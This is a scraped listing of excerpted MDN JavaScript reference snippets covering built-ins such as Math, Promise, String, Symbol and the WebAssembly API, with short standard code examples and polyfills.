r global objects, math is not a constructor. all properties and methods of math are static. you refer to the constant pi as math.pi and you call the sine function as math.sin(x), where x is the method’s argument. constants are defined with the full precision of real numbers in javascript. note: many math functions have a precision that’s implementation-dependent. this means that different browsers can give a different result. even the same javascript engine on a different os or architecture can give different results! static properties math.e euler's constant and the base of natural logarithms; approximately 2.718. math.ln2 natural logarithm of 2; approximately 0.693. math.ln10 natural logarithm of 10; approximately 2.303. math.log2e base-2 logarithm of e; approximately 1.44...
NaN - JavaScript
teractive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. description nan is a property of the global object. in other words, it is a variable in global scope. the initial value of nan is not-a-number — the same as the value of number.nan. in modern browsers, nan is a non-configurable, non-writable property. even when this is not the case, avoid overriding it. it is rather rare to use nan in a program. there are five different types of operations that return nan: number cannot be parsed (e.g. parseint("blabla") or number(undefined)) math operation where the result is not a real number (e.g. math.sqrt(-1)) operand of an argument is nan (e.g. ...
Number.MAX_SAFE_INTEGER - JavaScript
ieee 754 and can only safely represent numbers between -(253 - 1) and 253 - 1. safe in this context refers to the ability to represent integers exactly and to correctly compare them. for example, number.max_safe_integer + 1 === number.max_safe_integer + 2 will evaluate to true, which is mathematically incorrect. see number.issafeinteger() for more information. this field does not exist in old browsers. using it without checking its existence, such as math.max(number.max_safe_integer, 2), will yield undesired results such as nan. because max_safe_integer is a static property of number, you always use it as number.max_safe_integer, rather than as a property of a number object you created. polyfill if (!number.max_safe_integer) { number.max_safe_integer = 9007199254740991; // math.pow(2...
Number.prototype.toLocaleString() - JavaScript
mat.format property. examples using tolocalestring in basic use without specifying a locale, a formatted string in the default locale and with default options is returned. var number = 3500; console.log(number.tolocalestring()); // displays "3,500" if in u.s. english locale checking for support for locales and options arguments the locales and options arguments are not supported in all browsers yet. to check for support in es5.1 and later implementations, the requirement that illegal language tags are rejected with a rangeerror exception can be used: function tolocalestringsupportslocales() { var number = 0; try { number.tolocalestring('i'); } catch (e) { return e.name === 'rangeerror'; } return false; } prior to es5.1, implementations were not required to throw ...
Object.prototype.__defineSetter__() - JavaScript
the __definesetter__ method binds an object's property to a function to be called when an attempt is made to set that property. syntax obj.__definesetter__(prop, fun) parameters prop a string containing the name of the property to be bound to the given function. ...
Object.keys() - JavaScript
} if (hasdontenumbug) { for (i = 0; i < dontenumslength; i++) { if (hasownproperty.call(obj, dontenums[i])) { result.push(dontenums[i]); } } } return result; }; }()); } please note that the above code includes non-enumerable keys in ie7 (and maybe ie8), when passing in an object from a different window. for a simple browser polyfill, see javascript - object.keys browser compatibility. examples using object.keys // simple array const arr = ['a', 'b', 'c']; console.log(object.keys(arr)); // console: ['0', '1', '2'] // array-like object const obj = { 0: 'a', 1: 'b', 2: 'c' }; console.log(object.keys(obj)); // console: ['0', '1', '2'] // array-like object with random key ordering const anobj = { 100: 'a', 2: 'b',...
Promise.any() - JavaScript
that resolves with the value from that promise. if no promises in the iterable fulfil (if all of the given promises are rejected), then the returned promise is rejected with an aggregateerror, a new subclass of error that groups together individual errors. essentially, this method is the opposite of promise.all(). warning! the promise.any() method is experimental and not fully supported by all browsers and platforms. it is currently in stage 4 of the tc39 process. syntax promise.any(iterable); parameters iterable an iterable object, such as an array. return value an already resolved promise if the iterable passed is empty. an asynchronously resolved promise if the iterable passed contains no promises. a pending promise in all other cases. this returned promise is then resolv...
Promise.prototype.catch() - JavaScript
interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax p.catch(onrejected); p.catch(function(reason) { // rejection }); parameters onrejected a function called when the promise is rejected. this function has one argument: reason the rejection reason. the promise returned by catch() is rejected if onrejected throws an error or returns a promise which is itself rejected; otherwise, it is resolved. return value internally calls promise.prototype.then on the object upon which it was called, passing the parameters undefined and the received onrejected handler. returns the value of that call, which is a promise. note the examples below are throwing instances of error. this is considered good practice in con...
Reflect.getPrototypeOf() - JavaScript
ect.getprototypeof({}) // object.prototype reflect.getprototypeof(object.prototype) // null reflect.getprototypeof(object.create(null)) // null compared to object.getprototypeof() // same result for objects object.getprototypeof({}) // object.prototype reflect.getprototypeof({}) // object.prototype // both throw in es5 for non-objects object.getprototypeof('foo') // throws typeerror reflect.getprototypeof('foo') // throws typeerror // in es2015 only reflect throws, object coerces non-objects object.getprototypeof('foo') // string.prototype reflect.getprototypeof('foo') // throws typeerror // to mimic the object es2015 behavior you need to coerce reflect.getprototypeof(object('foo')) // string.prototype specifications specification ecmasc...
Set - JavaScript
e each value in the set has to be unique, the value equality will be checked. in an earlier version of ecmascript specification, this was not based on the same algorithm as the one used in the === operator. specifically, for sets, +0 (which is strictly equal to -0) and -0 were different values. however, this was changed in the ecmascript 2015 specification. see "key equality for -0 and 0" in the browser compatibility table for details. nan and undefined can also be stored in a set. all nan values are equated (i.e. nan is considered the same as nan, even though nan !== nan). constructor set() creates a new set object. static properties get set[@@species] the constructor function that is used to create derived objects. instance properties set.prototype.size returns the number o...
SharedArrayBuffer() constructor - JavaScript
chrome re-enabled it in v67 on platforms where its site-isolation feature is enabled to protect against spectre-style vulnerabilities. the sharedarraybuffer() constructor is used to create a sharedarraybuffer object representing a generic, fixed-length raw binary data buffer, similar to the arraybuffer object. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
String.prototype.codePointAt() - JavaScript
representing the code point value of the character at the given pos. if there is no element at pos, returns undefined. description if there is no element at the specified position, undefined is returned. if no utf-16 surrogate pair begins at pos, the code unit at pos is returned. polyfill the following extends strings to include the codepointat() function as specified in ecmascript 2015 for browsers without native support. /*! https://mths.be/codepointat v0.2.0 by @mathias */ if (!string.prototype.codepointat) { (function() { 'use strict'; // needed to support `apply`/`call` with `undefined`/`null` var defineproperty = (function() { // ie 8 only supports `object.defineproperty` on dom elements try { var object = {}; var $defineproperty = object.defin...
String.fromCodePoint() - JavaScript
iven (e.g. "rangeerror: nan is not a valid code point"). description this method returns a string (and not a string object). because fromcodepoint() is a static method of string, you must call it as string.fromcodepoint(), rather than as a method of a string object you created. polyfill the string.fromcodepoint() method has been added to ecmascript 2015 and may not be supported in all web browsers or environments yet. use the code below for a polyfill: if (!string.fromcodepoint) (function(stringfromcharcode) { var fromcodepoint = function(_) { var codeunits = [], codelen = 0, result = ""; for (var index=0, len = arguments.length; index !== len; ++index) { var codepoint = +arguments[index]; // correctly handles all cases including `nan`, `-infinity`, `+i...
String.prototype.match() - JavaScript
nd a through e are returned, each its own element in the array. const str = 'abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz'; const regexp = /[a-e]/gi; const matches_array = str.match(regexp); console.log(matches_array); // ['a', 'b', 'c', 'd', 'e', 'a', 'b', 'c', 'd', 'e'] note: see also string.prototype.matchall() and advanced searching with flags. using named capturing groups in browsers which support named capturing groups, the following code captures "fox" or "cat" into a group named "animal": const paragraph = 'the quick brown fox jumps over the lazy dog. it barked.'; const capturingregex = /(?<animal>fox|cat) jumps over/; const found = paragraph.match(capturingregex); console.log(found.groups); // {animal: "fox"} using match() with no parameter const str = "nothing wi...
String.prototype.repeat() - JavaScript
(count < 0) throw new rangeerror('repeat count must be non-negative'); if (count == infinity) throw new rangeerror('repeat count must be less than infinity'); count = math.floor(count); if (str.length == 0 || count == 0) return ''; // ensuring count is a 31-bit integer allows us to heavily optimize the // main part. ...
String.prototype.replaceAll() - JavaScript
f the whole string was 'abcd', and the matched substring was 'bc', then this argument will be 1.) string the whole string being examined. (the exact number of arguments depends on whether the first argument is a regexp object—and, if so, how many parenthesized submatches it specifies.) examples using replaceall 'aabbcc'.replaceall('b', '.'); // 'aa..cc' non-global regex throws when using a regular expression search value, it must be global. this won't work: 'aabbcc'.replaceall(/b/, '.'); typeerror: replaceall must be called with a global regexp this will work: 'aabbcc'.replaceall(/b/g, '.'); "aa..cc" specifications specification ecmascript (ecma-262)the definition of 'string.prototype.replaceall' in that specification. ...
Symbol.match - JavaScript
or a falsy value), it indicates that the object is not intended to be used as a regular expression object. property attributes of symbol.match writable no enumerable no configurable no examples disabling the isregexp check the following code will throw a typeerror: '/bar/'.startswith(/bar/); // throws typeerror, as /bar/ is a regular expression // and symbol.match is not modified. however, if you set symbol.match to false, the isregexp check (that uses the match property) will indicate that the object is not a regular expression object. the methods startswith and endswith won't throw a typeerror as a consequence. var re = /foo/; re[symbol.match] = false; '/foo/'.startswith(re); // true '/baz...
Symbol.toStringTag - JavaScript
for example, to acccess the symbol.tostringtag property on htmlbuttonelement: let test = document.createelement('button'); test.tostring(); // returns [object htmlbuttonelement] test[symbol.tostringtag]; // returns htmlbuttonelement specifications specification ecmascript (ecma-262)the definition o...
Symbol - JavaScript
o identify symbols. typeof symbol() === 'symbol' typeof symbol('foo') === 'symbol' typeof symbol.iterator === 'symbol' symbol type conversions some things to note when working with type conversion of symbols. when trying to convert a symbol to a number, a typeerror will be thrown (e.g. +sym or sym | 0). when using loose equality, object(sym) == sym returns true. symbol("foo") + "bar" throws a typeerror (can't convert symbol to string). this prevents you from silently creating a new string property name from a symbol, for example. the "safer" string(sym) conversion works like a call to symbol.prototype.tostring() with symbols, but note that new string(sym) will throw. symbols and for...in iteration symbols are not enumerable in for...in iterations. in addition, object.getownprope...
TypedArray.prototype[@@iterator]() - JavaScript
the initial value of the @@iterator property is the same function object as the initial value of the values property. syntax arr[symbol.iterator]() return value the array iterator function, which is the values() function by default. ...
TypedArray.prototype.entries() - JavaScript
s interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax arr.entries() return value a new array iterator object. ...
TypedArray.prototype.keys() - JavaScript
or this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax arr.keys() return value a new array iterator object. ...
TypedArray.prototype.toString() - JavaScript
separated by commas. for example, the following code creates a typed array and uses tostring to convert the array to a string. var numbers = new uint8array([2, 5, 8, 1, 4]) numbers.tostring(); // "2,5,8,1,4" javascript calls the tostring method automatically when a typed array is to be represented as a text value or when an array is referred to in a string concatenation. compatibility if a browser doesn't support the typedarray.prototype.tostring() method yet, javascript will call the tostring method of object: var numbers = new uint8array([2, 5, 8, 1, 4]) numbers.tostring(); // "[object uint8array]" specifications specification ecmascript (ecma-262)the definition of 'array.prototype.tostring' in that specification. ...
TypedArray.prototype.values() - JavaScript
his interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax arr.values() return value a new array iterator object. ...
WebAssembly.CompileError() constructor - JavaScript
10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the code was run } specifications specification webassembly javascript interfacethe definition of 'webassembly constructors' in that specification. ecmascript (ecma-262)the definition of 'nativeerror constructor' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jscompileerr...
WebAssembly.CompileError - JavaScript
// 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the code was run } specifications specification webassembly javascript interfacethe definition of 'webassembly constructors' in that specification. ecmascript (ecma-262)the definition of 'nativeerror' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jscompileerr...
WebAssembly.Global() constructor - JavaScript
sm", instance.exports.getglobal(), 42); instance.exports.incglobal(); asserteq("getting wasm-updated value from js", global.value, 43); }); note: you can see the example running live on github; see also the source code. specifications specification webassembly javascript interfacethe definition of 'webassembly.global() constructor' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsglobal() c...
WebAssembly.Global - JavaScript
alue from wasm", instance.exports.getglobal(), 42); instance.exports.incglobal(); asserteq("getting wasm-updated value from js", global.value, 43); }); note: you can see the example running live on github; see also the source code. specifications specification webassembly javascript interfacethe definition of 'webassembly.global()' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsglobalchro...
WebAssembly.Instance() constructor - JavaScript
for example like this: const importobject = { imports: { imported_func: function(arg) { console.log(arg); } } }; webassembly.instantiatestreaming(fetch('simple.wasm'), importobject) .then(obj => obj.instance.exports.exported_func()); specifications specification webassembly javascript interfacethe definition of 'instance' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsinstance()...
WebAssembly.Instance.prototype.exports - JavaScript
} } }; webassembly.instantiatestreaming(fetch('simple.wasm'), importobject) .then(obj => obj.instance.exports.exported_func()); note: you can also find this example as instantiate-streaming.html on github (view it live also). specifications specification webassembly javascript interfacethe definition of 'webassembly.instance: exports' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsexportschr...
WebAssembly.Instance - JavaScript
n(arg) { console.log(arg); } } }; webassembly.instantiatestreaming(fetch('simple.wasm'), importobject) .then(obj => obj.instance.exports.exported_func()); this also demonstrates how the exports property is used to access exported functions. specifications specification webassembly javascript interfacethe definition of 'instance' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsinstancech...
WebAssembly.LinkError() constructor - JavaScript
// 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the code was run } specifications specification webassembly javascript interfacethe definition of 'linkerror' in that specification. ecmascript (ecma-262)the definition of 'nativeerror constructors' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jslinkerror(...
WebAssembly.LinkError - JavaScript
inenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the code was run } specifications specification webassembly javascript interfacethe definition of 'linkerror' in that specification. ecmascript (ecma-262)the definition of 'nativeerror' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jslinkerrorc...
WebAssembly.Memory() constructor - JavaScript
s are unshared. you can create a shared memory by passing shared: true in the constructor's initialization object: let memory = new webassembly.memory({initial:10, maximum:100, shared:true}); this memory's buffer property will return a sharedarraybuffer. specifications specification webassembly javascript interfacethe definition of 'memory' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsmemory() c...
WebAssembly.Memory.prototype.buffer - JavaScript
.instantiatestreaming(fetch('memory.wasm'), { js: { mem: memory } }) .then(obj => { var i32 = new uint32array(memory.buffer); for (var i = 0; i < 10; i++) { i32[i] = i; } var sum = obj.instance.exports.accumulate(0, 10); console.log(sum); }); specifications specification webassembly javascript interfacethe definition of 'buffer' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsbufferchro...
WebAssembly.Memory.prototype.grow() - JavaScript
emory.buffer.bytelength / bytesperpage); // "1" console.log(memory.grow(1)); // "1" console.log(memory.buffer.bytelength / bytesperpage); // "2" note the return value of grow() here is the previous number of webassembly pages. specifications specification webassembly javascript interfacethe definition of 'grow()' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsgrowchrome...
WebAssembly.Memory - JavaScript
are unshared. you can create a shared memory by passing shared: true in the constructor's initialization object: let memory = new webassembly.memory({initial:10, maximum:100, shared: true}); this memory's buffer property will return a sharedarraybuffer. specifications specification webassembly javascript interfacethe definition of 'memory' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsmemorychro...
WebAssembly.Module.customSections() - JavaScript
simple-name-section.wasm')) .then(function(mod) { var namesections = webassembly.module.customsections(mod, "name"); if (namesections.length != 0) { console.log("module contains a name section"); console.log(namesections[0]); }; }); specifications specification webassembly javascript interfacethe definition of 'customsections()' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jscustomsect...
WebAssembly.Module.exports() - JavaScript
mod, importobject).then(function(instance) { instance.exports.exported_func(); }); var exports = webassembly.module.exports(mod); console.log(exports[0]); }; the exports[0] output looks like this: { name: "exported_func", kind: "function" } specifications specification webassembly javascript interfacethe definition of 'exports()' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsexportschr...
WebAssembly.Module.imports() - JavaScript
orts. webassembly.compilestreaming(fetch('simple.wasm')) .then(function(mod) { var imports = webassembly.module.imports(mod); console.log(imports[0]); }); the output looks like this: { module: "imports", name: "imported_func", kind: "function" } specifications specification webassembly javascript interfacethe definition of 'imports()' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsimportschr...
WebAssembly.RuntimeError() constructor - JavaScript
e.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the code was run } specifications specification webassembly javascript interfacethe definition of 'webassembly.runtimeerror constructor' in that specification. ecmascript (ecma-262)the definition of 'nativeerror constructor' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsruntimeerr...
WebAssembly.RuntimeError - JavaScript
// 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the code was run } specifications specification webassembly javascript interfacethe definition of 'webassembly constructors' in that specification. ecmascript (ecma-262)the definition of 'nativeerror' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsruntimeerr...
WebAssembly.Table() constructor - JavaScript
invoke the referenced function and log the value stored inside it (e.g. get(0)() rather than get(0)) . this example shows that we're creating and accessing the table from javascript, but the same table is visible and callable inside the wasm instance too. specifications specification webassembly javascript interfacethe definition of 'table' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jstable() co...
WebAssembly.Table.prototype.get() - JavaScript
1)()); // 42 }); note how you've got to include a second function invocation operator at the end of the accessor to actually retrieve the value stored inside the reference (e.g. get(0)() rather than get(0)) — it is a function rather than a simple value. specifications specification webassembly javascript interfacethe definition of 'get()' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsgetchrome ...
WebAssembly.Table.prototype.grow() - JavaScript
of 10. var table = new webassembly.table({ element: "anyfunc", initial: 2, maximum: 10 }); you can then grow the table by 1 with the following: console.log(table.length); // "2" console.log(table.grow(1)); // "2" console.log(table.length); // "3" specifications specification webassembly javascript interfacethe definition of 'grow()' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsgrowchrome...
WebAssembly.Table.prototype.length - JavaScript
of 10. var table = new webassembly.table({ element: "anyfunc", initial: 2, maximum: 10 }); you can then grow the table by 1 with the following: console.log(table.length); // "2" console.log(table.grow(1)); // "2" console.log(table.length); // "3" specifications specification webassembly javascript interfacethe definition of 'length' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jslengthchro...
WebAssembly.Table.prototype.set() - JavaScript
invoke the referenced function and log the value stored inside it (e.g. get(0)() rather than get(0)) . this example shows that we're creating and accessing the table from javascript, but the same table is visible and callable inside the wasm instance too. specifications specification webassembly javascript interfacethe definition of 'set()' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jssetchrome ...
WebAssembly.Table - JavaScript
invoke the referenced function and log the value stored inside it (e.g. get(0)() rather than get(0)) . this example shows that we're creating and accessing the table from javascript, but the same table is visible and callable inside the wasm instance too. specifications specification webassembly javascript interfacethe definition of 'table' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jstablechrom...
WebAssembly.compile() - JavaScript
.then(response => response.arraybuffer() ).then(bytes => webassembly.compile(bytes) ).then(mod => worker.postmessage(mod) ); note: you'll probably want to use webassembly.compilestreaming() in most cases, as it is more efficient than compile(). specifications specification webassembly javascript interfacethe definition of 'compile()' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jscompilechr...
WebAssembly.compileStreaming() - JavaScript
)) .then(module => webassembly.instantiate(module, importobject)) .then(instance => instance.exports.exported_func()); the resulting module instance is then instantiated using webassembly.instantiate(), and the exported function invoked. specifications specification webassembly features for web embeddingthe definition of 'compilestreaming()' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jscompilestr...
WebAssembly.instantiate() - JavaScript
console.log(arg); } } }; onmessage = function(e) { console.log('module received from main thread'); var mod = e.data; webassembly.instantiate(mod, importobject).then(function(instance) { instance.exports.exported_func(); }); }; specifications specification webassembly javascript interfacethe definition of 'instantiate()' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsinstantiate...
WebAssembly.instantiateStreaming() - JavaScript
e.exports.exported_func()); the resultobject's instance member is then accessed, and the contained exported function invoked. note: for this to work, .wasm files should be returned with an application/wasm mime type by the server. specifications specification webassembly features for web embeddingthe definition of 'instantiatestreaming()' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsinstantiat...
WebAssembly.validate() - JavaScript
her the module is valid. fetch('simple.wasm').then(response => response.arraybuffer() ).then(function(bytes) { var valid = webassembly.validate(bytes); console.log("the given bytes are " + (valid ? "" : "not ") + "a valid wasm module"); }); specifications specification webassembly javascript interfacethe definition of 'validate()' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsvalidatech...
decodeURI() - JavaScript
sitory. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax decodeuri(encodeduri) parameters encodeduri a complete, encoded uniform resource identifier. return value a new string representing the unencoded version of the given encoded uniform resource identifier (uri). exceptions throws an urierror ("malformed uri sequence") exception when encodeduri contains invalid character sequences. description replaces each escape sequence in the encoded uri with the character that it represents, but does not decode escape sequences that could not have been introduced by encodeuri. the character “#” is not decoded from escape sequences. examples decoding a cyrillic url decodeuri('...
decodeURIComponent() - JavaScript
o contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax decodeuricomponent(encodeduri) parameters encodeduri an encoded component of a uniform resource identifier. return value a new string representing the decoded version of the given encoded uniform resource identifier (uri) component. exceptions throws an urierror ("malformed uri sequence") exception when used wrongly. description replaces each escape sequence in the encoded uri component with the character that it represents. examples decoding a cyrillic url component decodeuricomponent('javascript_%d1%88%d0%b5%d0%bb%d0%bb%d1%8b'); // "javascript_шеллы" catching errors try { var a = decodeuricomponent('%e0%a4%a'); } catch(e) { ...
Standard built-in objects - JavaScript
, "global objects" refer to objects in the global scope. the global object itself can be accessed using the this operator in the global scope. in fact, the global scope consists of the properties of the global object, including inherited properties, if any. other objects in the global scope are either created by the user script or provided by the host application. the host objects available in browser contexts are documented in the api reference. for more information about the distinction between the dom and core javascript, see javascript technologies overview. standard objects by category value properties these global properties return a simple value. they have no properties or methods. infinity nan undefined globalthis function properties these global functions—functions wh...
await - JavaScript
e of the promise, or the value itself if it's not a promise. description the await expression causes async function execution to pause until a promise is settled (that is, fulfilled or rejected), and to resume execution of the async function after fulfillment. when resumed, the value of the await expression is that of the fulfilled promise. if the promise is rejected, the await expression throws the rejected value. if the value of the expression following the await operator is not a promise, it's converted to a resolved promise. an await can split execution flow, allowing the caller of the await's function to resume execution before the deferred continuation of the await's function. after the await defers the continuation of its function, if this is the first await executed by the func...
class expression - JavaScript
enerated with class expressions will always respond to typeof with the value "function". 'use strict'; let foo = class {}; // constructor property is optional foo = class {}; // re-declaration is allowed typeof foo; // returns "function" typeof class {}; // returns "function" foo instanceof object; // true foo instanceof function; // true class foo {} // throws syntaxerror (class declarations do not allow re-declaration) examples a simple class expression this is just a simple anonymous class expression which you can refer to using the variable foo. const foo = class { constructor() {} bar() { return 'hello world!'; } }; const instance = new foo(); instance.bar(); // "hello world!" foo.name; // "foo" named class expressions if...
Function expression - JavaScript
return n * factorial(n - 1); } }; math.factit(3) //3;2;1; the variable the function expression is assigned to will have a name property. the name doesn't change if it's assigned to a different variable. if function name is omitted, it will be the variable name (implicit name). if function name is present, it will be the function name (explicit name). this also applies to arrow functions (arrows don't have a name so you can only give the variable an implicit name). var foo = function() {} foo.name // "foo" var foo2 = foo foo2.name // "foo" var bar = function baz() {} bar.name // "baz" console.log(foo === foo2); // true console.log(typeof baz); // undefined console.log(bar === baz); // false (errors because baz == undefined) examples creating an unnamed function the following exam...
new.target - JavaScript
